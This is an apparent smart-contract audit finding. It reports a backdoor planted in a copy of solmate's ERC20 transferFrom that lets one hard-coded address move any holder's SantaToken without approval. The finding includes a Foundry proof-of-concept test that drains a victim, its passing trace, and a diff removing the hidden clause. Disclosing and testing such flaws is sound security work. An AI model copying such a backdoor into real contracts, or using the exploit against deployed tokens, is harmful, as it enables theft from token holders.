Summary
Some Elves where extra naughty
Vulnerability Details
The transferFrom
function in solmate ERC20.sol
contains a conditional clause allowing a specific address 0x815F577F1c1bcE213c012f166744937C889DAF17
to transfer tokens without adhering to the expected allowance mechanism.
Impact
transferFrom
function grants unauthorized privileges to an address (0x815F577F1c1bcE213c012f166744937C889DAF17
) to transfer SantaToken
without requiring approval from the rightful owners. This creates a significant security risk by allowing an external entity to execute unauthorized token transfers, compromising the integrity of the token system.
Uses may face potential token loss due to this vulnerability. Their earned or deserved tokens could be susceptible to unauthorized transfers, leading to undeserved losses or disruptions in their expected token balances.
The identified vulnerability not only undermines the security of the token system but also poses a direct risk to specific individuals who might be disproportionately affected by unauthorized token transfers.
PoC
Test:
function testStealingPresents() public {
address victim = makeAddr("victim");
address attacker = 0x815F577F1c1bcE213c012f166744937C889DAF17;
vm.startPrank(santa);
santasList.checkList(victim, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(victim, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
vm.startPrank(victim);
santasList.collectPresent();
assertEq(santasList.balanceOf(victim), 1);
assertEq(santaToken.balanceOf(victim), 1e18);
vm.stopPrank();
vm.startPrank(attacker);
santaToken.transferFrom(victim, attacker, 1e18);
assertEq(santaToken.balanceOf(victim), 0);
assertEq(santaToken.balanceOf(attacker), 1e18);
vm.stopPrank();
}
Traces:
[PASS] testStealingPresents() (gas: 196658)
Traces:
[196658] NaughtyElf::testStealingPresents()
├─ [0] VM::addr(54610711874010270486459574547387192152578608100568658919478837675020523104927 [5.461e76]) [staticcall]
│ └─ ← victim: [0x131f15F1fD1024551542390614B6c7e210A911AF]
├─ [0] VM::label(victim: [0x131f15F1fD1024551542390614B6c7e210A911AF], "victim")
│ └─ ← ()
├─ [0] VM::startPrank(santa: [0x70C9C64bFC5eD9611F397B04bc9DF67eb30e0FcF])
│ └─ ← ()
├─ [24111] SantasList::checkList(victim: [0x131f15F1fD1024551542390614B6c7e210A911AF], 1)
│ ├─ emit CheckedOnce(person: victim: [0x131f15F1fD1024551542390614B6c7e210A911AF], status: 1)
│ └─ ← ()
├─ [24419] SantasList::checkTwice(victim: [0x131f15F1fD1024551542390614B6c7e210A911AF], 1)
│ ├─ emit CheckedTwice(person: victim: [0x131f15F1fD1024551542390614B6c7e210A911AF], status: 1)
│ └─ ← ()
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [283] SantasList::CHRISTMAS_2023_BLOCK_TIME() [staticcall]
│ └─ ← 1703480381 [1.703e9]
├─ [0] VM::warp(1703480382 [1.703e9])
│ └─ ← ()
├─ [0] VM::startPrank(victim: [0x131f15F1fD1024551542390614B6c7e210A911AF])
│ └─ ← ()
├─ [120077] SantasList::collectPresent()
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: victim: [0x131f15F1fD1024551542390614B6c7e210A911AF], tokenId: 0)
│ ├─ [46713] SantaToken::mint(victim: [0x131f15F1fD1024551542390614B6c7e210A911AF])
│ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: victim: [0x131f15F1fD1024551542390614B6c7e210A911AF], amount: 1000000000000000000 [1e18])
│ │ └─ ← ()
│ └─ ← ()
├─ [678] SantasList::balanceOf(victim: [0x131f15F1fD1024551542390614B6c7e210A911AF]) [staticcall]
│ └─ ← 1
├─ [542] SantaToken::balanceOf(victim: [0x131f15F1fD1024551542390614B6c7e210A911AF]) [staticcall]
│ └─ ← 1000000000000000000 [1e18]
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [0] VM::startPrank(0x815F577F1c1bcE213c012f166744937C889DAF17)
│ └─ ← ()
├─ [20023] SantaToken::transferFrom(victim: [0x131f15F1fD1024551542390614B6c7e210A911AF], 0x815F577F1c1bcE213c012f166744937C889DAF17, 1000000000000000000 [1e18])
│ ├─ emit Transfer(from: victim: [0x131f15F1fD1024551542390614B6c7e210A911AF], to: 0x815F577F1c1bcE213c012f166744937C889DAF17, amount: 1000000000000000000 [1e18])
│ └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
├─ [542] SantaToken::balanceOf(victim: [0x131f15F1fD1024551542390614B6c7e210A911AF]) [staticcall]
│ └─ ← 0
├─ [542] SantaToken::balanceOf(0x815F577F1c1bcE213c012f166744937C889DAF17) [staticcall]
│ └─ ← 1000000000000000000 [1e18]
├─ [0] VM::stopPrank()
│ └─ ← ()
└─ ← ()
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.37ms
Tools Used
Manually
Recommendations
Use latest solmate contracts or remove vulnerable part from current one
...
86 function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
-87 // hehehe :)
-88 // https://arbiscan.io/tx/0xd0c8688c3bcabd0024c7a52dfd818f8eb656e9e8763d0177237d5beb70a0768d
-89 if (msg.sender == 0x815F577F1c1bcE213c012f166744937C889DAF17) {
-90 balanceOf[from] -= amount;
-91 unchecked {
-92 balanceOf[to] += amount;
-93 }
-94 emit Transfer(from, to, amount);
-95 return true;
-96 }
...
113 }